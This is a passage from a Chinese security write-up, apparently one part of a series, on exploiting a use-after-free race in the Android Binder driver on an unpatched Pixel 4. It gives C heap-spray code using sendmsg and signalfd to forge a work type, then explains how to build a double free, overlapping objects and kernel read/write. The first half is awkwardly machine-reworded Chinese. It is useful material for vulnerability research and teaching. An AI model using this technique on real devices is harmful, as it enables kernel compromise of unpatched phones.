在文中中,大家将为阅读者深层次详细介绍Binder中的单指令竞态标准漏洞以及利用方式。
(接好文)
开启UAF漏洞是一回事儿,可是怎样利用它完成代码执行也是此外一回事儿了。这节将为阅读者逐渐演试怎样利用该漏洞,期待这一全过程可以加重阅读者对该漏洞的了解。
大家的检测将在运作2020年8月公布的全新Android 10原装印象QQ2A.200805.001的Pixel 4机器设备上实行,沒有安裝别的安全补丁。阅读者能够 在Google开发者网址上寻找该印象。
说白了,“释放出来后应用(UAF)”身后的一般念头是在释放出来对象后再次应用动态分配的对象。有意思的是,该释放出来的对象现在可以由另一个具备不一样合理布局的对象更换,进而在初始构造的特殊字段名上导致种类搞混。如今,当被利用的程序流程再次运作时,它会像应用初始对象一样应用早已分配的对象,这很有可能造成 实行流的跳转。
大家都知道,UAF漏洞的利用全过程高宽比取决于所应用的动态分配系统软件,针对Android系统软件而言,它应用了一种名叫SLUB调节器的动态分配系统软件。
因为文中不准备表述SLUB调节器的原理,因而,假如您还不了解它,请先阅读文章相关该主题风格的相关资料,便于于充足了解文中的一部分。
从实质上讲,slab能够 分成储存特殊尺寸或特殊种类的对象的缓存文件。在大家的事例中,大家想分配binder连接点对象占有的运行内存。在这儿,binder_node建筑结构的长短为128字节数,而且在运作Android 10的Pixel 4上沒有专用型的缓存文件,这代表着它坐落于kmalloc-128缓存文件中。因而,大家必须应用长短小于或等于128字节数的对象开展运行内存喷射,详细信息见下文。
大家以前说过,能够 应用UAF漏洞来操纵binder的switch/case主要参数。
static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{
struct binder_work *w;
while (1){
w=binder_dequeue_work_head(proc, list);
if (!w)
return;
switch (w->type){
//[...]
default:
pr_err("unexpected work type, %d, not freed
",
w->type);
break;
}
}
}
在这节中,大家将根据喷射slab来伪造w->type载入的值。
大家应用的喷射技术性在Project Zero的“Mitigations are attack surface, too”中有详尽的详细介绍,该技术性取决于sendmsg和signalfd的应用。
sendmsg分派一个基本上由客户操纵的数据信息添充的128字节数核心对象
sendmsg对象被释放出来
自此,马上开展signalfd分派,建立一个8字节对象(也是128-kmalloc高速缓存的一部分),该对象很可能会更换之前的sendmsg,并将其內容“钉”在运行内存中。
根据这类喷射技术性,能够 得到下列結果,进而使大家可以操纵w->type。
如Lexfo编写的“CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4)”上述,还可以仅根据阻拦sendmsg来做到同样的实际效果。可是,利用漏洞的速率会明显减缓,如同大家将在下一部分中见到的那般,signalfd在利用此漏洞中起着十分关键功效。
我们可以应用类似下列作用的涵数在核心运行内存中喷射sendmsg和signalfd对象,以操纵w->type。
void *spray_thread_func(void *argp){
struct spray_thread_data *data=(struct spray_thread_data*)argp;
int delay;
int msg_buf[SENDMSG_SIZE / sizeof(int)];
int ctl_buf[SENDMSG_CONTROL_SIZE / sizeof(int)];
struct msghdr spray_msg;
struct iovec siov;
uint64_t sigset_value;
// Sendmsg control buffer initialization
memset(&spray_msg, 0, sizeof(spray_msg));
ctl_buf[0]=SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;
ctl_buf[6]=0xdeadbeef;
siov.iov_base=msg_buf;
siov.iov_len=SENDMSG_SIZE;
spray_msg.msg_iov=&siov;
spray_msg.msg_iovlen=1;
spray_msg.msg_control=ctl_buf;
spray_msg.msg_controllen=SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;
for (;;){
// Barrier - Before spray
pthread_barrier_wait(&data->barrier);
// Waiting some time
delay=rand() % SPRAY_DELAY;
for (int i=0; i < delay; i ){}
for (uint64_t i=0; i < NB_SIGNALFDS; i ){
// Arbitrary signalfd value (will become relevant later)
sigset_value=~0;
// Non-blocking sendmsg
sendmsg(data->sock_fds[0], &spray_msg, MSG_OOB);
// Signalfd call to pin sendmsg's control buffer in kernel memory
signalfd_fds[data->trigger_id][data->spray_id][i]=signalfd(-1, (sigset_t*)&sigset_value, 0);
if (signalfd_fds[data->trigger_id][data->spray_id][i]<=0)
debug_printf("Could not open signalfd - %d (%s)
", signalfd_fds[data->trigger_id][data->spray_id][i], strerror(errno));
}
// Barrier - After spray
pthread_barrier_wait(&data->barrier);
}
return NULL;
}
假如取得成功的利用了该漏洞,一段时间后应当在dmesg中见到下列日志內容:
[ 1245.158628]binder: unexpected work type, -559038737, not freed
[ 1249.805270]binder: unexpected work type, -559038737, not freed
[ 1256.615639]binder: unexpected work type, -559038737, not freed
[ 1258.221516]binder: unexpected work type, -559038737, not freed
虽然我们知道怎样操纵switch/case主要参数,但大家都还没详细介绍binder_release_work中的UAF漏洞能够 用于干什么。下边,使我们看一下该涵数的别的一部分,以明确大家的总体目标编码途径。
static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{
struct binder_work *w;
while (1){
w=binder_dequeue_work_head(proc, list);
if (!w)
return;
switch (w->type){
case BINDER_WORK_TRANSACTION:{
struct binder_transaction *t;
t=container_of(w, struct binder_transaction, work);
binder_cleanup_transaction(t, "process died.",
BR_DEAD_REPLY);
}break;
case BINDER_WORK_RETURN_ERROR:{
struct binder_error *e=container_of(
w, struct binder_error, work);
binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
"undeliveredTRANSACTION_ERROR: %u
",
e->cmd);
} break;
case BINDER_WORK_TRANSACTION_COMPLETE: {
binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
"undelivered TRANSACTION_COMPLETE
");
kfree(w);
binder_stats_deleted(BINDER_STAT_TRANSACTION_COMPLETE);
} break;
case BINDER_WORK_DEAD_BINDER_AND_CLEAR:
case BINDER_WORK_CLEAR_DEATH_NOTIFICATION: {
struct binder_ref_death *death;
death=container_of(w, struct binder_ref_death, work);
binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
"undelivered death notification, %016llx
",
(u64)death->cookie);
kfree(death);
binder_stats_deleted(BINDER_STAT_DEATH);
} break;
default:
pr_err("unexpected work type, %d, not freed
",
w->type);
break;
}
}
}
从代码来看,每个分支要么输出一些日志信息,要么释放binder_work,这意味着唯一可能的策略就是对使用后的对象进行第二次释放。SLUB中的Double Free漏洞,意味着我们将能够在同一位置分配两个对象,使它们重叠,然后使用一个对象来修改另一个对象。
现在,并不是所有的释放过程都是一样的,如果我们的binder_node对象位于地址X处,那么出列的binder_work结构体将位于X+8处,并且:
BINDER_WORK_TRANSACTION将释放X处的对象
BINDER_WORK_TRANSACTION_COMPLETE、BINDER_WORK_DEAD_BINDER_AND_CLEAR和BINDER_WORK_CLEAR_DEATH_NOTIFICATION将释放X+8处的对象
对于在X处分配的对象,如果在X+8处释放它,则下一次的内存分配也将在X+8处进行。这可能是一个非常有趣的原语,因为它提供了下列功能:
另一种重叠配置(与X处的偏移量相比,您可以获得不同的偏移量)
一种到达与X处对象相邻的对象的潜在方式(例如,在X+8处分配一个128字节长的binder_node将导致对相邻对象进行8个字节的越界访问)。
我们没有将该策略用于这里的exploit,而是通过将w->type设置为BINDER_WORK_TRANSACTION,继续利用X处的常规Double Free漏洞。但是,这个路径比其他三个路径需要进行更多的工作。
在binder_cleanup_transaction中,我们用sendmsg的控制缓冲区来控制t,并希望到达对binder_free_transaction的调用。
static void binder_cleanup_transaction(struct binder_transaction *t,
const char *reason,
uint32_t error_code)
{
if (t->buffer->target_node && !(t->flags & TF_ONE_WAY)) {
binder_send_failed_reply(t, error_code);
} else {
binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
"undelivered transaction %d, %s
",
t->debug_id, reason);
binder_free_transaction(t);
}
}
首先要满足的条件是:
t->buffer必须指向有效的内核内存(例如始终在Pixel设备上分配的0xffffff8008000000)
TF_ONE_WAY应该在t->flags中设置
static void binder_free_transaction(struct binder_transaction *t)
{
struct binder_proc *target_proc=t->to_proc;
if (target_proc) {
binder_inner_proc_lock(target_proc);
if (t->buffer)
t->buffer->transaction=NULL;
binder_inner_proc_unlock(target_proc);
}
kfree(t);
binder_stats_deleted(BINDER_STAT_TRANSACTION);
}
在binder_free_transaction中,达到kfree之前需要满足的其他条件是:
t->to_proc应该为NULL
满足了这些要求之后,我们终于可以在X处利用一次Double Free漏洞了。
现在,为了继续利用漏洞以实现代码执行,我们需要借助于KASLR泄漏和任意内核内存读/写漏洞。由于最近的Pixel内核使用了CFI,因此,我们无法通过重定向执行流程来直接执行内核代码。
可以通过读取存储在对象中的函数指针来获得KASLR泄漏漏洞。对于两个重叠的对象,其中一个对象应该允许我们从中读取其值,另一个对象需要具有一个与第一个对象的值对齐的函数指针。
任意内核内存读/写要复杂一些,我们将在以下各节中详细加以介绍。现在,请注意,它们依赖于Thomas King的“内核空间镜像攻击(KSMA)”,并且我们需要在重叠对象的开始处写入8字节。
但是,在执行任何操作之前,我们需要确定对象在内存中重叠的位置。根据我们所处的漏洞利用阶段,我们不会重叠相同的对象。这意味着我们需要能够以足够的精度释放和分配对象,以免丢失对悬空内存区域的引用。
当然,我们可以使用不同方法来检测重叠对象。但是对于这里的exploit来说,我们决定重用signalfd,其思想是在第一次喷射期间获得w->type的控制权,并通过其sigset_t值为每个signalfd赋予一个特定的标识号。
实际上,如果一切顺利的话,exploit将开始使用sendmsg和signalfd来喷射内存。然后,就会出现UAF漏洞。其中,一个sendmsg/signalfd对象将替换binder_node对象并更改w-type的值。之后,将出现Double Free漏洞,并允许两个对象相互重叠。我们继续使用sendmsg/signalfd喷射技术,使双重释放的signalfd与另一个重叠。这将导致一个其值已经被改变的signalfd,并且利用其标识号,就能确定它与哪个signalfd发生了重叠,具体如下图所示:
在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!
(未完待续)